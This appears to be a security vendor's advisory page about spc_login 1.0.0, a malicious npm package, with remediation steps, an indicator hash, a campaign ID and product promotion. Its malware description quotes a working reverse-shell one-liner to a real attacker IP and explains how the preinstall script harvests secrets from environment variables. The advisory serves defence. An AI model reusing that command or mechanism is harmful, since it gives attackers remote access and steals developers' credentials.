Which versions of spc_login are malicious?

The following npm versions of spc_login are flagged malicious: 1.0.0. Treat any of these as compromised.

How do I remediate spc_login if I installed it?

spc_login is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed spc_login — how do I know if it already compromised me?

If spc_login was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is spc_login part of a known attack campaign?

Yes — spc_login is associated with the IN-MAL-2026-019155 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find spc_login across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for spc_login (version 1.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging spc_login across your stack and pipelines.

Malicious package

spc_loginnpm

spc_login is a confirmed malicious npm package (MAL-2026-15622) that steals credentials and exfiltrates sensitive data (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in spc_login (npm)

MAL-2026-15622

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall spc_login

What this malware does

package.json declares a preinstall hook ("node preinstall.js || true") that runs unconditionally on npm install. preinstall.js filters process.env for keys matching AWS|TOKEN|KEY|SECRET|PASS|API|GITHUB|NPM|DOCKER|DB|MONGO|REDIS|POSTGRES|MYSQL, bundles them with hostname, username, working directory, and CI context, base64-encodes the payload, and sends it via curl over plain HTTP to http://216.126.236.46/r.php. On non-Windows hosts the same script also executes a reverse-shell one-liner (bash -i >& /dev/tcp/216.126.236.46/4444 0>&1, with nc -e and python3 socket fallbacks), giving the operator of that endpoint interactive shell access to the installing machine. The package has no legitimate functionality; the only effect of installing it is credential harvest and remote code execution against the installer.

Malicious versions

1 flagged

1.0.0

Indicators of compromise (SHA-256)

e9a20e34373650f3fda40b9ea351c7ccb15ae98292cd159863cb26c0c33ff8c1

Detection & response playbook

Credential / info stealer

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for spc_login (version 1.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging spc_login across your stack and pipelines.
If you installed it — respond
spc_login is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If spc_login was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks spc_login before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. spc_login on npm has been identified as a malicious package (version 1.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-019155

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks spc_login-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database